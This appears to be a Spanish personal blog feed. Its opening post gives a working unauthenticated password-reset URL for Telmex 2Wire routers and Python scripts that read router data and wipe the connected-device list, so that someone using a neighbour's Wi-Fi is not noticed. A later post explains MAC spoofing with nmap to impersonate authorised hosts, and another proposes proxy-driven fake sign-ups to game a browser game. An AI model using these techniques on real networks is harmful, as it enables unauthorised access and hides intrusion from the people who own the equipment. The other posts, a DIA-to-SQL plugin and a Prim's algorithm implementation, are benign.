Hackeando modems routers 2wire de telmex – técnica borrado de caché

Hace un tiempo documente una técnica para la “Detección de intrusos en nuestra WI-FI“, hoy he decidido publicar una contra-parte, la parte obscura de como no ser detectado. Todo esto empezó con la historia que le paso a un amigo que solía tomar prestada la red de su vecino, continuación expongo su historia:

 

Esta historia realmente le paso a un amigo

Esta historia realmente le paso a un amigo

 

Antes que nada el hacking no es la intromisión a un sistema, más bien es la comprensión profunda/detallada de tal sistema.

Todo esto me dejo pensando respecto al funcionamiento de estos routers y de como hacerle para no ser detectados, por otra parte he visto algunos documentos respecto a otras técnica por ejemplo:

Cambiando password o reseteando password en modem 2wire

Donde nos explican como al realizar una solicitud al routeador por medio de la URL:

http://home/xslt?PAGE=CD35_SETUP_01_POST&password1=****&password2=****

Al sustituir ***** podemos setear el password de dicho routeador.

para mas info de esta vulnerabilidad seguir reporte [http://seclists.org/bugtraq/2009/Aug/96]

Pero que pasa si lo reseteamos el router?, tendremos Internet pero solo durante un tiempo  pues el “vecino”(victima) se artara y nos pasara lo mismo que mi amigo “toma tu RED“.

En cambio podemos pasar desapercibidos si tan solo borramos la cache del routeador, así cuando el vecino visite la pagina del sitio no vera ninguna maquinas conectada lo cual tal vez le intrigue un poco pero notara que tiene Intenet. por otra parte con el script que publique anteriormente pasara lo mismo pues este extrae la información de la misma pagina.

Sin más la dirección para borrar la cache es la siguiente:

http://home/management/xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET

Donde la URL /management/ refiere a un prefijo administrativo, en otras palabras es necesario logearse para acceder a dicha URL.

Debraye de análisis

–¿por que? es mas fácil resetear el password(no requiere autenticación) que borrar el cache…

En concreto no lo se, pero lo que si es obvio es que nos encontramos ante un problema grave en el diseño de estos routeadores, pues no creo que fuera su intensión el que existieran posts como este en donde se expone sus errores

Si partimos de  las  2 suposiciones respecto a la ruta que resetea el password:

1.- Se les paso incluir tal ruta a la sección q requiere autenticación /management/

2.- Así lo planificaron.

Si se les paso seria un error IMPERDONABLE!, lo cual me quedan mis dudas, yo opto más por la 2da que así lo planificaron dada su falta de experiencia o capacidad pues:

“No encontraron una forma segura  de como resetear la contraseña sin la necesidad de una autenticación previa”.

Y decidieron dejarlo así, subestimando a los usuarios y con la esperanza que nadie indague en sus sistemas.

Eso habla muy mal de ellos ya que normalmente los buenos routers consideran las interfaces de acceso físico(como cable consola y este caso interfaz ethernet) únicas para realizar tales tareas.

Consiguiendo la información del router:

Para acceder a la información no es necesario autenticarte, la pagina 7 es la que muestra al información al cual puedes acceder desde URL que te de acceso a tal información es:

http://home/xslt?PAGE=A07

Bien ahora si nos ponemos un poquito creativos, podemos hacer un script que automatice un poco tal acción y podemos acceder a dicha información sin salirnos de nuestra terminal:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#Muestra la configuración de los ruteadores 2wire de telmex(bastante comunes)
#La salida es en un formato de XML

import urllib2, urllib
import re
ROUTER = "http://192.168.1.254"

MANAGEMENT = 'management'
DS = '/'
#en la pág. 07 esta la información de estos routers
PAGE = "A07"
#Preparamos/abrimos 1conexión para "leer" la pág. de la info del router
opener = urllib2.Request(ROUTER+DS+"xslt?PAGE=A07",None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre del routeador
expr  = re.compile('\<td\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
model = expr.findall(response)
#obtenemos los demas datos del router
expr  = re.compile('\<td\sclass\=\"data\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
data = expr.findall(response)

#las posiciones en la lista model definen la variable, ya que estan en función de como aparecen en la página
print """\
<?xml version="1.0"?>
<config>
<title>Demo Config</title>
	<router>
		<model>"""+model[0]+"""</model>
		<serial_number>"""+data[0]+"""</serial_number>
		<version_hardware>"""+data[1]+"""</version_hardware>
		<version_software>"""+data[2]+"""</version_software>
		<key_code>"""+data[3]+"""</key_code>
	</router>
</config>
"""

Este script esta disponible en: http://gist.github.com/619905

A partir de dicha información puedes ver los reportes para ver que vulnerabilidades tiene.

Pasar desapercibido borrando la cache del router

En cambio ya conseguiste el acceso a la configuracion del router lo que puedes hacer es borrar la información del cache cada determinado tiempo.

Si deseas visitar la url para borrar la cache el router no te lo permite ya que antes requieres identificarte, entonces previamente tienes que hacerlo y posteriormente resetear la cache.

Esto suele ser algo tedioso, así que decidí hacer un script que automatiza tal proceso(logearte y borrar la cache) y no les pase lo de mi amigo:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#       Copyright 2010 Fitorec - <https://fitorec.wordpress.com>
#       2wireResetCache.py
#        ____      _                             .--.
#       | __ |(_) | |  ___   ____ ___   ____   | o_o |
#       | | _ | ||_ _|/ _ \ / __// _ \ / __/   | :_/  |
#       | __ || | | || (_) || | |  __/| (__   //      \\
#       |_|   |_| | | \___/ |_|  \___/ \___( (|        | )
#          https://fitorec.wordpress.com      /'\_      _/
#                                            \___)=(___/
#	Una ves conectado podemos pasar desapercibidos ante el administrador
#	de la red solo hay que revisar si existimos en el cache del router
#	si es así borramos el cache del router dejándolo vació como si no
#	hubiera ninguna máquina conectada a el.
#	se considera que la IP del router es 192.168.1.254 caso contrario cambiar
#	linea 24,también es necesario conocer la key del router (tip:normalmente los
#	usuarios inexpertos le suelen poner la misma que la clave WEB) y sustituir
#	dicha clave en la linea 24

import urllib2, urllib
import re
""" IP  y contraseña """
KEY	   = "7972247120"
ROUTER = "http://192.168.1.254"

#------------------------
MANAGEMENT = 'management'
DS = '/'
PAGE = "A02_POST"
THISPAGE = ""
NEXTPAGE = "J01"
CMSKICK = ""

def resetLanCache(password):
	cookie_h = urllib2.HTTPCookieProcessor()
	opener = urllib2.build_opener(cookie_h)
	urllib2.install_opener(opener)
	ua = 'Mozilla/5.0 (X11; U; Windows seven; es-ES; rv:1.9.0.11)'
	ua += ' Gecko/2009061118 Windows seven Firefox/3.0.11'
	h = {"User-Agent": ua}
	params = urllib.urlencode({"PASSWORD": password, "PAGE" : PAGE, "THISPAGE"  : THISPAGE, "NEXTPAGE" : NEXTPAGE, "CMSKICK" : CMSKICK})
	r = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt", headers=h)
	f = urllib2.urlopen(r,params)
	reset = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET",None,{})
	f = urllib2.urlopen(reset)
	htmlContent = f.read()
	f.close()

opener = urllib2.Request(ROUTER,None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre de las maquinas
expr  = re.compile('\<span\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/span\>')
compus = expr.findall(response)
#los dos primeros elementos son falsos y los quitamos
compus = compus[2:]
print 'Maquinas conectadas'
if len(compus)>0 :
	print "vamos a borrar las sig. maquinas"
	print compus
	resetLanCache(KEY)

 

fin

fin

 

Espero les sirva!.

P.D.  Existen técnicas por si eres el vecino y quieres atrapar a mi amigo, publicare una la próxima semana, bytes!!.

DiaSQL generando esquema SQL apartir de un diagrama DIA

DiaSQL Dump es un plugin para el DIA que desarrolle en python bajo licencia GPLv3, que te permite crear un archivos en sintaxis SQL a partir de tu diagramas de base de datos.

Actualmente se encuentra en versión Beta pero ya es completamente funcional,  puedes obtener una copia y el código desde:

DiaSQL Dump nos ayuda a generar archivos con código SQL a partir de tus diagramas de base de datos desarrollados con la herramienta DIA, generando con esto una congruencia entre el modelado de tu base de datos con su definición en SQL, de esta forma si deseas generar algún cambio en el esquema de la base de datos basta con editar el diagrama.

Ejemplo

Previamente debes tener instalado el programa DIA, esto en ubuntu o debian linux lo puedes hacer con la siguiente instrucción.

sudo apt-get install -y dia

La siguiente figura muestra el diseño de un diagrama de base de datos en DIA.

ejemplo diagrama DIA definición de una tabla.

ejemplo diagrama DIA definición de una tabla.

De la figura se puede apreciar que la tabla Personas tiene las siguientes campos:

  • id: int(11), clave primaria, no puede ser nulo.
  • rfc: varchar(20), clave única, no puede ser nulo.
  • nombre: varchar(50), NO es clave, puede ser nulo.

Una ves que realizamos el diagrama nos vamos a archivo y del damos exportar seleccionamos al opción SQL Dump(*.sql) como se muestra en la siguiente imagen:

exportando volcado SQL del diagrama DIA

exportando volcado SQL del diagrama DIA

O bien desde linea de comando con la siguiente sentencia.

#h4x0r mode
dia  -e  ejemplo1.sql   ejemplo1.dia

Donde ejemplo1.dia es nuestro diagrama dia y ejemplos.sql es el archivo que queremos exportar(-e).

El cogido SQL generado por DiaSQL Dump para este ejemplo es:

-- Created by DiaSql-Dump Version 0.01(Beta)
-- Filename: ejemplo1.sql
-- Created: 2010-08-13

-- Personas --
CREATE TABLE IF NOT EXISTS `Personas` (
	`id` int(11) PRIMARY KEY NOT NULL UNIQUE AUTO_INCREMENT,
	`rfc` varchar(20) NOT NULL UNIQUE,
	`nombre` varchar(50)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
-- End SQL-Dump

Nota: esto es solo parte de la documentación que espero levantar próximamente.

Cambiando de Direccion Mac dinamicamente en Linux.

Las direcciones MAC(control de acceso al medio, por sus siglas en inglés “Media Access Control”) es una dirección de 48bits la cual sirve como identificador único para cada dispositivo de red(mas info http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC). En algunas ocasiones los administradores de red restringen determinados servicios(p.e. el Internet)  teniendo como único parámetro esta dirección.

En el momento que los dispositivos se conectan a una red propagan su dirección MAC, en sistemas operativos como Linux y Unix es fácil hacer que nuestro equipo propaguen/escuchen otra dirección, especialmente el comando ifconfig nos permite visualizar y configurar los parametros de nuestras interfaces de red p.e. para visualizar las configuración de nuestras interfaces:

#visualizando la información de nuestros dispositivos

ifconfig

#nos deberia aparecer algo similar a.

eth0      Link encap:Ethernet  direcciónHW 00:2b:d1:1a:3f:25
ACTIVO DIFUSIÓN MULTICAST  MTU:1500  Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0.0 B)  TX bytes:0 (0.0 B)
Interrupción:20 Dirección base: 0xa000

lo        Link encap:Bucle local
Direc. inet:127.0.0.1  Másc:255.0.0.0
Dirección inet6: ::1/128 Alcance:Anfitrión
ACTIVO BUCLE FUNCIONANDO  MTU:16436  Métrica:1
Paquetes RX:140 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:140 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:0
Bytes RX:75659 (75.6 KB)  TX bytes:75659 (75.6 KB)

wlan0     Link encap:Ethernet  direcciónHW 00:d3:e1:cb:75:98
Direc. inet:192.168.1.47  Difus.:255.255.255.255  Másc:255.255.255.0
Dirección inet6: fe80::216:e3ff:fe6b:8588/64 Alcance:Enlace
ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
Paquetes RX:131087 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:91988 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:136309413 (136.3 MB)  TX bytes:11742724 (11.7 MB)

#si deseamos ver la configuración de la interface eth0

ifconfig eth0

#el cual nos deberia mostrar algo similar a

eth0      Link encap:Ethernet  direcciónHW 00:2b:d1:1a:cf:98
ACTIVO DIFUSIÓN MULTICAST  MTU:1500  Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0.0 B)  TX bytes:0 (0.0 B)
Interrupción:20 Dirección base: 0xa000

Como podemos ver nos aparece un parámetro el cual se denomina direcciónHW que refiere a la dirección de hardware o MAC. Para modificar la dirección lo primero que se requiere es tener permisos de administrador en el sistema(root) y ejecutar las siguiente sentencia:

#formato de sentencia
ifconfig [INTERFACE] hw ether [MAC]

#Si quisiéramos asignarle la direccion 00:2b:d1:1a:3f:25 a la interface eth0 la sentencia seria
ifconfig eth0 hw ether 00:2b:d1:1a:3f:25

Existe un comando denominado macchanger el cual nos realiza esta tarea la cual nos ayuda si p.e. nuestra MAC esta en una lista negra entonces con el macchanger podemos cambiar nuestra dirección por cualquier otra(incluso tiene un parámetro para hacerlo de forma aleatoria) si embargo, si podemos acceder a la red pero no tenemos determinado servicio entonces lo que podemos hacer es preguntarle a los demas hosts cual es su dirección MAC pues seguramente a alguna de ellas le brindan el servicio.

Para hacer esto lo se requiere de mapear la la red para esto el programa que recomiendo es el nmap(se puede con mucho otros como ettercap) esto lo hariamos con la sig intruccion.

#las siguientes instrucción se deberán ejecutar en modo super usuario.
#Supongamos que pertenecemos a la red 192.168.1.0 con la mascara de red
# 255.255.255.0 o bien 24 bits activados
# esto es Binario(11111111)=decimal(255)  8bits+8bits+8bits+0bits=24bits

#revisamos por los hots activos toda la red 192.168.1.0/24
nmap -sP 192.168.1.0/24

#Nota: con ettercap basta con hacer
ettercap -C
#nos aparecerá una interface bastante intuitiva.

Ahora si tenemos una lista de MAC validas para determinado servicio es posible identificarnos en el sistema como usuarios validos, esto siempre y cuando la MAC este disponible en la red(es decir el equipo propietario de dicha interface).

Fue cuando me puse a pensar en una solucion para este problema y se me ocurrio hacer un script que haga lo siguiente.

Nota: suponemos que que ya estamos conectados a la red(por que esa es otra historia) ya tenemos la lista de MACs validas.

1.- Escuchamos los equipos y sus MAC conectados a la red.

2.- De la lista de MACs validas seleccionamos una de forma aleatoria.

2.1. Si el equipo propietario de dicha MAC esta activo: Regresamos al paso (2)

2.2. Si no es asi: Asignamos la MAC al nuestro dispositivo y concluye el programa.

Nota: El script requiere que se tenga instalado el programa para mapeo de puertos ‘nmap’ en el sistema.

Como un detalle del código podemos ver como se puede cachar la MAC de un dispositivo a través de un grep y una expresión regular como se muestra en  la siguiente sentencia:

#mostrando la MAC de la interface eth0
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

#mostrando la MAC de la interface wlan0
ifconfig wlan0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

#lo cual es muy util para procesar a la hora de hacer un script p.e. en Bash
MyMAC=`ifconfig wlan0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'`
#ahora que en MyMAC tenemos la MAC de wlan0 podemos utilizar dicha variable
echo $MyMAC

A los administradores de red espero les sea útil y utilicen otras métricas(no solo la MAC)  para restringir los accesos a determinados servicios.

Descargando gallerias de Televisa Deportes

Hola que tal después de un tiempo sin escribir entrada alguna, posteo algo que hice al  tomarme un rato libre.

Uno de mis pasatiempo es en ocasiones ver imágenes de muchachonas por la nube, debo confesar(con algo de vergüenza) que en ocasiones suelo visitar sitios como el de televisadeportes.com . Y en esta ocasión dejo un par de instrucciones del como descargar una galería completa de la pagina http://www.televisadeportes.com/fotogalerias/, esto a a través de un script al cual he denominado tIdiotizaGallery.py y que comparto:

http://gist.github.com/355585

Descarga las imágenes de una galería de televisadeportes.com

Descarga las imágenes de una galería de televisadeportes.com

Corrida de Ejemplo:

#1ro descargamos el script
wget http://gist.github.com/raw/355585/5977f5ba1cc95e9d548cd23e5566e01c540554a0/tIdiotizaGallery.py
#2do le damos permisos de ejecución al script
chmod +x tIdiotizaGallery.py
#3ro lo ejecutamos con la url de la galeria que queremos descargar
./tIdiotizaGallery.py URL_GaleriaTelevisaDeportes.com

Aqui les dejo el ejemplo en un video:

llegando mas lejos:

Para aquellos que no solo se conforman con el código si no también desean una explicación de su funcionamiento, ahí les va una breve explicación:

Resulta que televisadeportes.com al igual que muchas paginas ocupan JavaScript para hacer dinámicas las transiciones de sus imágenes en sus galerías, es nos da una gran ventaja ya  que al estar en un lenguaje de programación esto implica que la información se encuentra en un lenguaje de la forma ‘normal’ y puede ser fácilmente parseable.

Estudiando el code de televisa deportes:

Si observamos el código que nos devuelve la siguiente galería http://www.televisadeportes.com/fotos/bellezas-torneo-bicentenario-2010/18495 encontraremos que el código que nos interesa es :

<script language="javascript">
		var comment_tpl = "little";
		// Nombre de la Galería
		var gallery_name = 'Bellezas del Bicentenario J-13';
		// Imágenes de los Slides de la Fotogalería
		var gallery_images = new Array();
				gallery_images[0] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_01-1418e900-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[1] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_02-14a5026e-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[2] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_03-15377a86-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[3] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_04-15be0d62-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[4] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_05-163946ee-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[5] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_06-16bf186e-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[6] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_07-173f0628-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[7] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_08-17beed48-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[8] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_10-183bdeac-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[9] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_11-18c12062-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[10] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_12-1947dc6a-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[11] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_13-19b8f170-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[12] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_14-1a38cfe4-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
				gallery_images[13] =["http://i2.esmas.com/galerias/fotos/2010/4/bellezas_15-1abaacd0-90f9-102d-a60a-0019b9d5c8df.jpg","Foto: Mexsport Prohibida su reproducción total o parcial. esmas.com © 2010",""];
</script>

Como podemos observar las imágenes se encuentran en una variable la cual es un arreglo de datos, y cada una puede ser atrapada a través de la expresión regular(‘gallery_images\[([0-9]+)\] \=\[([^]]+)‘) de la linea 52 del script, por otra parte el nombre de la carpeta a crear y que sera la contenedora tendra por nombre el de la galería la cual es el valor de la variable gallery_name y para atrapar dicho valor hago uso de la función String.find(s) en las lineas 47,48 y 49. Para ser honesto creo que hubiera quedado mas elegante con una sola expresión regular, pero en fin así se me ocurrió en el momento de desarrollar el script y así quedo :¬(.

Version HTML del script

El script en python funciona perfectamente pues del análisis del caso del que se basa es correcto, sin embargo comprendo que muchos usuarios no estan familiarizados con python y el ejecutar el script les pueda resultar difícil(sobre todo a usuarios q usan distribuciones de S.O. donde python no viene instalado por defecto) . por esta razón paso el script a una versión html(con javascript) disponible:

Genera links de galerias d televisaDeportes y esMas.com

Genera links de galerias d televisaDeportes y esMas.com

http://gist.github.com/425877

 

Versión Bash

.

En bash creo que se puede hacer una implementación bastante simple, dejo aquí una nueva versión que agrego:

Versión en bash

Versión en bash

Caso el Bruto.es

ElBruto.es

Genesis:

Hace un par de meses me inscribi a la página del elbruto.es (http://fitorec.elbruto.es/)  no soy muy adepto a jugar, pero en el juego se me hiso bastante entretenido, en una ocacion cuando estaba en Oaxaca en la SicaUnitierra platicando con @eymard y @nierox me dijeron que si le entrabamos y armabamos un clan yo le dije que si, y fuee como inicia este caso.

Estudio del caso:

Pues bien el bruto resulta que es un juego desarrollado por motion-twin la forma en como interactuan los brutos es algo rara,  pues existen diversos servidores de elbruto:

Grafico red elbruto.es

Grafico red elbruto.es

Entre toda esta complegidad en la red un detalle importante a destacar es que el el bruto.es (de España) se se conecta para extraer datos del  labrute.fr (de Francia) esto lo hace atravez del usuarios data es por esta razón que no es posible crear el usuario data y si intentamos accedes a los datos de dicho usuario p.e (http://data.elbruto.es/) nos indicara “error: 404 page no found” .

¿Entonces como poder ganar en el bruto?

El problema principal es poder jugar el bruto y subir rapido de nivel, veamos como es esto posible, consideraciones:

1.-Cuando te inscribes en el bruto el primer dia te dan 6 peleas.

2.- Los siguientes dias solo tienes derecho a combatir 3 veces por dia.

3.- Por cada combate que ganes a un bruto de nivel igual al tuyo o superior, te daran 2 puntos de experiencia.

4.- Por cada pelea perdida o ganada(a un bruto de nivel inferior) solo optendras 1 punto de experiencia.

5.- Por cada alumno nuevo que tengas (Se debera registrar con una IP distinta) te daran 1 punto de experiancia.

6.-Cuando un alumno sube de nivel te daran 1 punto de experiencia.

Si nos ponemos a pensar un poquito nos daremos cuenta que existen muchas formas de poder conseguir puntos de experiencia de forma rapida, una de ellas es procurar que nuestro bruto siempre gane las peleas esto para que siempre nos den 2 puntos de experiencia, entonces la pregunta seria ¿como hacerle para que nuestro bruto siempre gane?,esta pregunta es algo complicada yo le estuve pensando en como hacerle la forma como se me ocurrio fue la de buscar a los brutos mas perdedores, esto de alguna manera asegura que nuestro bruto estadisticamente tiene mas probabilidades de ganar.

Cuando nos logeamos en el bruto y nos vamos a la arena para combatir el sistema nos muestra una lista de oponentes de nuestro mismo nivel, como se muestra en la siguiente figura.

arene

¿De todos ellos quien es rival mas debil?, pues en realidad es dificil de decidir, pero podemos explorar a cada uno de ellos para ver sus estadisticar por ejemplo para ver los datos del que esta en la esquina inferior derecha (somdavgs) si podriamos ver sus datos estadisticos en su celda la cual seria la siguiente url: http://somdavgs.elbruto.es/cellule aqui mismo podemos ver datos como: nivel,puntos de vida, fuerza, velocidad, numero total de peleas ganadas; pero hay unos datos muy especiales que son las ultimas 7 actividades de nuestro bruto.

Estas por lo regular son las ultimas 7 peleas, para cada una de ellas nos dice contra quien fue y ademas si el bruto en cuestion la perdio o gano, resulta un poco evidente que a los brutos contra los que gano deberan ser más debiles.

Mi Solución :

La solucion esta implicita en la explicacion previa, en la siguiente imagen intento explicar dicho concepto:

spider

La figura ilustra como el spider(programa que inspecciona las páginas del World Wide Web de forma metódica y automatizada)  selecciona a (Zukoo,4d38,felixxxx31)  como los siguientes candidatos (costado izquierdo) y en un determinado momento llega al usuario el cual tiene todas las peleas perdidas siendo este el rival mas debil(costado derecho).

mi idea fue la de hacer un script que haga:

1.- Que atraves del nick y el pass de nuestro usuario inicie sesion en  la pagina del bruto.

2.-Seleccione a los 6 oponentes candidatos.

3.- Para cada oponente candidato

3.1.- Extraiga los datos estadisticos de cada uno de ellos

3.2. Si el bruto ha perdido sus ultimas  peleas ->

3.2.1  Recomendar combatir contra el.

3.3. Repetir paso(3.1) Para cada bruto que halla perdido

3.- Este paso se repetira asta que halla recorrido un nivel de 3 entre las relaciones

Implementacion:

De la implementación no hay mucho que decir(pues lo importante esta arriba), para realizar mi idea primero pense en Perl, sin embargo todavia no me siento muy comodo con dicho lenguaje asi que me cambie a Python el cual es un lenguaje que llevo utilizando de un corto tiempo para aqui, pero que cada vez me gusta más.

Codigo en python:

acceder al codigo

acceder al codigo

Dejo la documentacion de la que me apoye:

Python doc Internet Protocols and Support: Documentacion oficial(ingles).

http://docs.python.org/library/internet.html

Interactuar con webs en Python : Breve explicación muy intuitiva con ejemplos y en español

http://mundogeek.net/archivos/2008/04/15/interactuar-con-webs-en-python/

 

Conclusión:

Es posible el hacer que nuestros bruto gane siempre solo es cuestion de enfrentarlo contra el rival adecuado, por otra parte seria bueno el crear un script en el cual se conecte atraves de multiples proxy’s y nos creen alumnos si podriamos subir de puntos rapidamente.

Bueno espero que le sirva a alguien este caso.

p.d. Por favor creenme un alumno desde http://fitorec.elbruto.es/

 

Implementación algoritmo Prim en Python

Marco teórico:

El algoritmo de Prim es un algoritmo de la teoría de los grafos para encontrar un árbol recubridor mínimo
en un grafo conexo, no dirigido y cuyas aristas están etiquetadas.
En otras palabras, el algoritmo encuentra un subconjunto de aristas que forman un árbol con todos los
vértices, donde el peso total de todas las aristas en el árbol es el mínimo posible. Si el grafo no es conexo,
entonces el algoritmo encontrará el árbol recubridor mínimo para uno de los componentes conexos que
forman dicho grafo no conexo [?] .

Implementación en Python:

http://gist.github.com/218222

prim code

Corrida de ejemplo:

Para la corrida de ejemplo necesitamos un archivo de entrada el cual describa un grafo para esto he elegida el grafo de la documentacion de wikipedia http://es.wikipedia.org/wiki/Algoritmo_de_Prim .

Grafo a utlizar (Extraido de Wikipedia)

Grafo a utlizar (Extraido de Wikipedia)

Ahora necesitamos insertale al algorimo el grafo par este caso hemos generado el siguiente archivo denominado grafo el cual tine el siguinente formato (nodoA nodoB pesoEntreAyB), veamos el grafo que describe la imagen antes mostrada.

A B 7
A D 5
B C 8
B E 7
D E 15
D F 6
F E 8
F G 11
E G 9
C E 5
B D 9

Pasos:

Paso 1:Ninguna de las aristas está marcada, y el vértice A ha sido elegido arbitrariamente como el punto de
partida.
Paso 2: El Primer vértice es el más cercano a A es D está a 5 de distancia,ya que B se localiza a una
distancia de 7, así que marcamos la arista [(A,D),5] y el nodo A como visitado.
Paso 3: Ahora que solo conoce al Nodo A y D el nodo siguiente por conocer es F a travez de la arista
3
[(D,F),6].
Paso 4: Conociendo B a traves [(A,B),7]
Paso 5: Conociendo E a traves [(B,E),7]
Paso 6: Conociendo C a traves [(C,E),5]
Paso 7: Conociendo G a traves [(E,G),9]

salida en linea de comando

Por ultimo muestro la salida en linea de comandos al ejecutar el script.

usuario@host$./prim.py
archivo de entrada: ’grafo’
A B 7
A D 5
B C 8
B E 7
D E 15
D F 6
F E 8
F G 11
E G 9
C E 5
B D 9
Se inicio el algoritmo PRIM con el nodo A
Conociendo D a traves [(A,D),5]
Conociendo F a traves [(D,F),6]
Conociendo B a traves [(A,B),7]
Conociendo E a traves [(B,E),7]
Conociendo C a traves [(C,E),5]
Conociendo G a traves [(E,G),9]
Arbol de expansion minima:
[(A,D),5]
[(C,E),5]
[(D,F),6]
[(A,B),7]
[(B,E),7]
[(E,G),9]

Decargar Codigo